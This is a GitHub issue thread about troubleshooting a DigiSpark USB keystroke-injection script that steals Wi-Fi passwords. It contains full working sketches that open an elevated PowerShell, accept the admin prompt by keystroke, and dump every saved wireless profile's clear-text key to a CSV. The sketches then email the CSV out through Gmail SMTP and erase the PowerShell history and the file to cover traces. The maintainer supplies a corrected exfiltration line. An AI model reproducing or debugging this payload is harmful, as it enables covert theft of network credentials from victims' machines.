CedArctic / DigiSpark-Scripts

USB Rubber Ducky type scripts written for the DigiSpark.
MIT License
1.92k stars 602 forks source link

WiFi Profile Mailer: Issue with sending email #7

Closed Apollo-config closed 6 years ago

Apollo-config commented 6 years ago

When I uploaded the code the code to open powers hell won't work. Once I changed it and it comes to send the email then powershell gives me an error message and coldest and stops the code

CedArctic commented 6 years ago

@Apollo-config I don't know what you're saying about the arrow keys, I just leave them untouched - the scripts don't use the arrow keys anyways as far as I remember. Also I assume you're using Gmail - did you lower account security in the settings so that you can send messages through the powershell? If this didn't fix things please inform me which version of the script you are using and also post the error you're getting.

Apollo-config commented 6 years ago

When the script tries to open admin powers shell it doesn't work it just ends it. (on the new version) once I fixed that the error message keeps quitting so I can't read it. Less security is off

CedArctic commented 6 years ago

I hope when you say less security is off you mean that you have your account on the Less secure mode.

Anyways I just flashed my DigiSpark again to the new script and it seems to be working as intended. So this probably means the issue is related to your setup (thus I am closing this issue).

Two things come to mind that might help you:

  1. If you're running on an older machine just increase the timings. Opening up powershell especially can take up quite some time on older machines using HDDs.

  2. The script uses the ALT+Y combo to answer "Yes" to the Administrator rights prompt when launching powershell. It could be that maybe due to your keyboard layout (if you're using a non US one) this combo doesn't work. Now you can either change the Digispark's layout to yours to make it work (google it if you're interested) or edit the script and use the arrow keys and enter to answer yes to that prompt.

Apollo-config commented 6 years ago

i am in the UK and the problem is with the line of code sending the email which seems to have errors adding the attachment and the spaces between the different code e.g ~

CedArctic commented 6 years ago

That's strange, I've tested that line on a few computers and it doesn't seem to have issues.

Here's a few things to check: Do you get an email in your inbox (even without an attachment)? Make sure you have ENABLED Less Secure Access. Run the Script and check if in your user folder there is a temp.csv file (that's the attachment).

Apollo-config commented 6 years ago

i have no emails ENABLED Less Secure Access the file exists but nothing is written to it

EDIT: Removed photo with credentials inside.

CedArctic commented 6 years ago

You have to replace SENDER_MAIL and RECEIVER_MAIL with your email address.

Apollo-config commented 6 years ago

//This DigiSpark script writes the wireless network credentials to a csv file and emails it. //Credits to p0wc0w.

//NOTE about the New Version of this script: The older script stopped working on newer builds of Windows 10 //since Windows 10 now require an elevated cmd or powershell to execute these commands. This version should //be faster (better, stronger...) and should work on all builds of Windows 10. For previous versions //of Windows or simply older builds of Windows 10, the other version works like a charm.

include "DigiKeyboard.h"

void setup() { } void loop() { DigiKeyboard.sendKeyStroke(0); DigiKeyboard.delay(1000); DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT); DigiKeyboard.delay(1000); DigiKeyboard.sendKeyStroke(KEY_A); DigiKeyboard.delay(1000); DigiKeyboard.sendKeyStroke(KEY_Y, KEY_ARROW_LEFT); DigiKeyboard.delay(1000); DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); DigiKeyboard.delay(1000); DigiKeyboard.sendKeyStroke(KEYENTER); DigiKeyboard.delay(1000); DigiKeyboard.print(F("(netsh wlan show profiles) | Select-String '\:(.+)$' | %{$name=$.Matches.Groups[1].Value.Trim(); $} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\W+\:(.+)$' | %{$pass=$.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Export-Csv -Path $env:userprofile\temp.csv;exit")); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(3000); DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT); DigiKeyboard.delay(500); DigiKeyboard.sendKeyStroke(KEY_A); DigiKeyboard.delay(1000); DigiKeyboard.sendKeyStroke(KEY_Y, KEY_ARROW_LEFT); DigiKeyboard.delay(1000); DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); DigiKeyboard.delay(1000); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(1000); DigiKeyboard.print(F("$SMTPInfo = New-Object Net.Mail.SmtpClient('smtp.gmail.com', 587); $SMTPInfo.EnableSsl = $true; $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('USERNAME', 'PASSWORD'); $ReportEmail = New-Object System.Net.Mail.MailMessage; $ReportEmail.From = 'EMAIL'; $ReportEmail.To.Add('EMAIL'); $ReportEmail.Subjet = 'DigiSpark Report'; $ReportEmail.Body = 'Attached is your report. - Regards Your Digispark'; $ReportEmail.Attachments.Add('temp.csv'); $SMTPInfo.Send($ReportEmail)); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(500); DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT); DigiKeyboard.delay(500); DigiKeyboard.sendKeyStroke(KEY_A); DigiKeyboard.delay(500); DigiKeyboard.sendKeyStroke(KEY_Y, KEY_ARROW_LEFT); DigiKeyboard.delay(1000); DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); DigiKeyboard.delay(1000); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(1000); DigiKeyboard.print(F("del (Get-PSReadlineOption).HistorySavePath;exit")); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(500); DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); DigiKeyboard.delay(500); DigiKeyboard.print("cmd"); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(500); DigiKeyboard.print(F("del temp.csv")); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(100); DigiKeyboard.print(F("exit")); for(;;){ /empty/ }; }


My code seems to work then it keeps giving me an error message when i go to compile and upload i can't seem to see whats wrong if you getting working could you tell me what is wrong and if you want to publish this ans the new UK version then am OK with it.


Arduino: 1.8.5 (Windows 10), Board: "Digispark (Default - 16.5mhz)"

C:\Program Files (x86)\Arduino\arduino-builder -dump-prefs -logger=machine -hardware C:\Program Files (x86)\Arduino\hardware -hardware C:\Users\user\AppData\Local\Arduino15\packages -tools C:\Program Files (x86)\Arduino\tools-builder -tools C:\Program Files (x86)\Arduino\hardware\tools\avr -tools C:\Users\user\AppData\Local\Arduino15\packages -built-in-libraries C:\Program Files (x86)\Arduino\libraries -libraries C:\Users\user\Documents\Arduino\libraries -fqbn=digistump:avr:digispark-tiny -ide-version=10805 -build-path C:\Users\user\AppData\Local\Temp\arduino_build_564911 -warnings=all -build-cache C:\Users\user\AppData\Local\Temp\arduino_cache_272829 -prefs=build.warn_data_percentage=75 -prefs=runtime.tools.micronucleus.path=C:\Users\user\AppData\Local\Arduino15\packages\digistump\tools\micronucleus\2.0a4 -prefs=runtime.tools.avr-gcc.path=C:\Users\user\AppData\Local\Arduino15\packages\arduino\tools\avr-gcc\4.8.1-arduino5 -verbose C:\Users\user\Desktop\sketch_new_digispark\sketch_new_digispark.ino C:\Program Files (x86)\Arduino\arduino-builder -compile -logger=machine -hardware C:\Program Files (x86)\Arduino\hardware -hardware C:\Users\user\AppData\Local\Arduino15\packages -tools C:\Program Files (x86)\Arduino\tools-builder -tools C:\Program Files (x86)\Arduino\hardware\tools\avr -tools C:\Users\user\AppData\Local\Arduino15\packages -built-in-libraries C:\Program Files (x86)\Arduino\libraries -libraries C:\Users\user\Documents\Arduino\libraries -fqbn=digistump:avr:digispark-tiny -ide-version=10805 -build-path C:\Users\user\AppData\Local\Temp\arduino_build_564911 -warnings=all -build-cache C:\Users\user\AppData\Local\Temp\arduino_cache_272829 -prefs=build.warn_data_percentage=75 -prefs=runtime.tools.micronucleus.path=C:\Users\user\AppData\Local\Arduino15\packages\digistump\tools\micronucleus\2.0a4 -prefs=runtime.tools.avr-gcc.path=C:\Users\user\AppData\Local\Arduino15\packages\arduino\tools\avr-gcc\4.8.1-arduino5 -verbose C:\Users\user\Desktop\sketch_new_digispark\sketch_new_digispark.ino Using board 'digispark-tiny' from platform in folder: C:\Users\user\AppData\Local\Arduino15\packages\digistump\hardware\avr\1.6.7 Using core 'tiny' from platform in folder: C:\Users\user\AppData\Local\Arduino15\packages\digistump\hardware\avr\1.6.7 Detecting libraries used... "C:\Users\user\AppData\Local\Arduino15\packages\arduino\tools\avr-gcc\4.8.1-arduino5/bin/avr-g++" -c -g -Os -w -fno-exceptions -ffunction-sections -fdata-sections -w -x c++ -E -CC -mmcu=attiny85 -DF_CPU=16500000L -DARDUINO=10805 -DARDUINO_AVR_DIGISPARK -DARDUINO_ARCH_AVR "-IC:\Users\user\AppData\Local\Arduino15\packages\digistump\hardware\avr\1.6.7\cores\tiny" "-IC:\Users\user\AppData\Local\Arduino15\packages\digistump\hardware\avr\1.6.7\variants\digispark" "C:\Users\user\AppData\Local\Temp\arduino_build_564911\sketch\sketch_new_digispark.ino.cpp" -o "nul" "C:\Users\user\AppData\Local\Arduino15\packages\arduino\tools\avr-gcc\4.8.1-arduino5/bin/avr-g++" -c -g -Os -w -fno-exceptions -ffunction-sections -fdata-sections -w -x c++ -E -CC -mmcu=attiny85 -DF_CPU=16500000L -DARDUINO=10805 -DARDUINO_AVR_DIGISPARK -DARDUINO_ARCH_AVR "-IC:\Users\user\AppData\Local\Arduino15\packages\digistump\hardware\avr\1.6.7\cores\tiny" "-IC:\Users\user\AppData\Local\Arduino15\packages\digistump\hardware\avr\1.6.7\variants\digispark" "-IC:\Users\user\AppData\Local\Arduino15\packages\digistump\hardware\avr\1.6.7\libraries\DigisparkKeyboard" "C:\Users\user\AppData\Local\Temp\arduino_build_564911\sketch\sketch_new_digispark.ino.cpp" -o "nul" "C:\Users\user\AppData\Local\Arduino15\packages\arduino\tools\avr-gcc\4.8.1-arduino5/bin/avr-g++" -c -g -Os -w -fno-exceptions -ffunction-sections -fdata-sections -w -x c++ -E -CC -mmcu=attiny85 -DF_CPU=16500000L -DARDUINO=10805 -DARDUINO_AVR_DIGISPARK -DARDUINO_ARCH_AVR "-IC:\Users\user\AppData\Local\Arduino15\packages\digistump\hardware\avr\1.6.7\cores\tiny" "-IC:\Users\user\AppData\Local\Arduino15\packages\digistump\hardware\avr\1.6.7\variants\digispark" "-IC:\Users\user\AppData\Local\Arduino15\packages\digistump\hardware\avr\1.6.7\libraries\DigisparkKeyboard" "C:\Users\user\AppData\Local\Arduino15\packages\digistump\hardware\avr\1.6.7\libraries\DigisparkKeyboard\oddebug.c" -o "nul" "C:\Users\user\AppData\Local\Arduino15\packages\arduino\tools\avr-gcc\4.8.1-arduino5/bin/avr-g++" -c -g -Os -w -fno-exceptions -ffunction-sections -fdata-sections -w -x c++ -E -CC -mmcu=attiny85 -DF_CPU=16500000L -DARDUINO=10805 -DARDUINO_AVR_DIGISPARK -DARDUINO_ARCH_AVR "-IC:\Users\user\AppData\Local\Arduino15\packages\digistump\hardware\avr\1.6.7\cores\tiny" "-IC:\Users\user\AppData\Local\Arduino15\packages\digistump\hardware\avr\1.6.7\variants\digispark" "-IC:\Users\user\AppData\Local\Arduino15\packages\digistump\hardware\avr\1.6.7\libraries\DigisparkKeyboard" "C:\Users\user\AppData\Local\Arduino15\packages\digistump\hardware\avr\1.6.7\libraries\DigisparkKeyboard\osccal.c" -o "nul" "C:\Users\user\AppData\Local\Arduino15\packages\arduino\tools\avr-gcc\4.8.1-arduino5/bin/avr-g++" -c -g -Os -w -fno-exceptions -ffunction-sections -fdata-sections -w -x c++ -E -CC -mmcu=attiny85 -DF_CPU=16500000L -DARDUINO=10805 -DARDUINO_AVR_DIGISPARK -DARDUINO_ARCH_AVR "-IC:\Users\user\AppData\Local\Arduino15\packages\digistump\hardware\avr\1.6.7\cores\tiny" "-IC:\Users\user\AppData\Local\Arduino15\packages\digistump\hardware\avr\1.6.7\variants\digispark" "-IC:\Users\user\AppData\Local\Arduino15\packages\digistump\hardware\avr\1.6.7\libraries\DigisparkKeyboard" "C:\Users\user\AppData\Local\Arduino15\packages\digistump\hardware\avr\1.6.7\libraries\DigisparkKeyboard\usbdrv.c" -o "nul" "C:\Users\user\AppData\Local\Arduino15\packages\arduino\tools\avr-gcc\4.8.1-arduino5/bin/avr-g++" -c -g -Os -w -fno-exceptions -ffunction-sections -fdata-sections -w -x c++ -E -CC -mmcu=attiny85 -DF_CPU=16500000L -DARDUINO=10805 -DARDUINO_AVR_DIGISPARK -DARDUINO_ARCH_AVR "-IC:\Users\user\AppData\Local\Arduino15\packages\digistump\hardware\avr\1.6.7\cores\tiny" "-IC:\Users\user\AppData\Local\Arduino15\packages\digistump\hardware\avr\1.6.7\variants\digispark" "-IC:\Users\user\AppData\Local\Arduino15\packages\digistump\hardware\avr\1.6.7\libraries\DigisparkKeyboard" "C:\Users\user\AppData\Local\Arduino15\packages\digistump\hardware\avr\1.6.7\libraries\DigisparkKeyboard\usbdrvasm.S" -o "nul" Generating function prototypes... "C:\Users\user\AppData\Local\Arduino15\packages\arduino\tools\avr-gcc\4.8.1-arduino5/bin/avr-g++" -c -g -Os -w -fno-exceptions -ffunction-sections -fdata-sections -w -x c++ -E -CC -mmcu=attiny85 -DF_CPU=16500000L -DARDUINO=10805 -DARDUINO_AVR_DIGISPARK -DARDUINO_ARCH_AVR "-IC:\Users\user\AppData\Local\Arduino15\packages\digistump\hardware\avr\1.6.7\cores\tiny" "-IC:\Users\user\AppData\Local\Arduino15\packages\digistump\hardware\avr\1.6.7\variants\digispark" "-IC:\Users\user\AppData\Local\Arduino15\packages\digistump\hardware\avr\1.6.7\libraries\DigisparkKeyboard" "C:\Users\user\AppData\Local\Temp\arduino_build_564911\sketch\sketch_new_digispark.ino.cpp" -o "C:\Users\user\AppData\Local\Temp\arduino_build_564911\preproc\ctags_target_for_gcc_minus_e.cpp" sketch_new_digispark:65: error: unterminated argument list invoking macro "F"

Using library DigisparkKeyboard in folder: C:\Users\user\AppData\Local\Arduino15\packages\digistump\hardware\avr\1.6.7\libraries\DigisparkKeyboard (legacy) exit status 1 unterminated argument list invoking macro "F"

CedArctic commented 6 years ago

Ok three things:

1st Chill it with the CAPS man 2nd Inside your code were your credentials - don't post these anywhere online, people could access your account. I've edited out your credentials on your above post and I now suggest you go ahead and change your password on the account just to be safe. 3rd As far as I understand you just took the script, modified the timings and the UAC bypass mechanism to work with the arrow keys instead of the ALT+Y combo so I see no reason it shouldn't work. The compile error came because of the modifications you made to the email line (you missed a quote and a comma). I've fixed that line, here you go:

DigiKeyboard.print(F("$SMTPInfo = New-Object Net.Mail.SmtpClient('smtp.gmail.com', 587); $SMTPInfo.EnableSsl = $true; $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('USERNAME', 'PASSWORD'); $ReportEmail = New-Object System.Net.Mail.MailMessage; $ReportEmail.From = 'USERNAME@gmail.com'; $ReportEmail.To.Add('USERNAME@gmail.com'); $ReportEmail.Subjet = 'DigiSpark Report'; $ReportEmail.Body = 'Attached is your report. - Regards Your Digispark'; $ReportEmail.Attachments.Add('temp.csv'); $SMTPInfo.Send($ReportEmail)");

Hopefully it will compile now. Good luck.

Apollo-config commented 6 years ago

Sorry about the caps the email is only for the project but I have changed the password just in case thanks for the help.

If I get the code working I will send you the code if you want to uploaded it as the UK version or non US keyboard version

Changed the caps.

Apollo-config commented 6 years ago

Success I've got it

CedArctic commented 6 years ago

Enjoy!

diinche commented 5 years ago

Hello.

I have a problem with sending e-mail. Indeed mail doesn't even send. Noting. When I plug it in everything works.. going thru Power Shell etc, and when it closes it should send an e-mail?

Please help, Thanks.

//This DigiSpark script writes the wireless network credentials to a csv file and emails it. //Credits to p0wc0w.

//NOTE about the New Version of this script: The older script stopped working on newer builds of Windows 10 //since Windows 10 now require an elevated cmd or powershell to execute these commands. This version should //be faster (better, stronger...) and should work on all builds of Windows 10. For previous versions //of Windows or simply older builds of Windows 10, the other version works like a charm.

include "DigiKeyboard.h"

void setup() { }

void loop() { DigiKeyboard.sendKeyStroke(0); DigiKeyboard.delay(5000); DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT); DigiKeyboard.delay(5000); DigiKeyboard.sendKeyStroke(KEY_A); DigiKeyboard.delay(5000); DigiKeyboard.sendKeyStroke(KEY_Y, MOD_ALTLEFT); DigiKeyboard.delay(5000); DigiKeyboard.print(F("(netsh wlan show profiles) | Select-String '\:(.+)$' | %{$name=$.Matches.Groups[1].Value.Trim(); $} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\W+\:(.+)$' | %{$pass=$.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Export-Csv -Path $env:userprofile\temp.csv;exit")); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(5000); DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT); DigiKeyboard.delay(5000); DigiKeyboard.sendKeyStroke(KEY_A); DigiKeyboard.delay(5000); DigiKeyboard.sendKeyStroke(KEY_Y, MOD_ALT_LEFT); DigiKeyboard.delay(5000); DigiKeyboard.print(F("$SMTPInfo = New-Object Net.Mail.SmtpClient('smtp.gmail.com', 587); $SMTPInfo.EnableSsl = $true; $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('whereaimilol@gmail.com', 'I deleted it for forum'); $ReportEmail = New-Object System.Net.Mail.MailMessage; $ReportEmail.From = 'whereaimilol@gmail.com'; $ReportEmail.To.Add('whereaimilol@gmail.com'); $ReportEmail.Subject = 'DigiSpark Report'; $ReportEmail.Body = 'Attached is your report. - Regards Your Digispark'; $ReportEmail.Attachments.Add('temp.csv'); $SMTPInfo.Send($ReportEmail);exit")); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(5000); DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT); DigiKeyboard.delay(5000); DigiKeyboard.sendKeyStroke(KEY_A); DigiKeyboard.delay(5000); DigiKeyboard.sendKeyStroke(KEY_Y, MOD_ALT_LEFT); DigiKeyboard.delay(5000); DigiKeyboard.print(F("del (Get-PSReadlineOption).HistorySavePath;exit")); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(5000); DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); DigiKeyboard.delay(5000); DigiKeyboard.print("cmd"); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(5000); DigiKeyboard.print(F("del temp.csv")); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(1000); DigiKeyboard.print(F("exit")); DigiKeyboard.sendKeyStroke(KEY_ENTER); for(;;){ /empty/ } }

Apollo-config commented 5 years ago

Hello,

I seem to be encountering the same problem but mine is in the power shell window when it try's to send the email, I've attached the image of the power shell windows is yours in the same place or somewhere else

diinche commented 5 years ago

Is my scrip ok, or is it wrong :/

Apollo-config commented 5 years ago

I seem to be getting this error message

image

Apollo-config commented 5 years ago

I can't see whats wrong with your script but i have opened an issue are you using it in the uk or in another country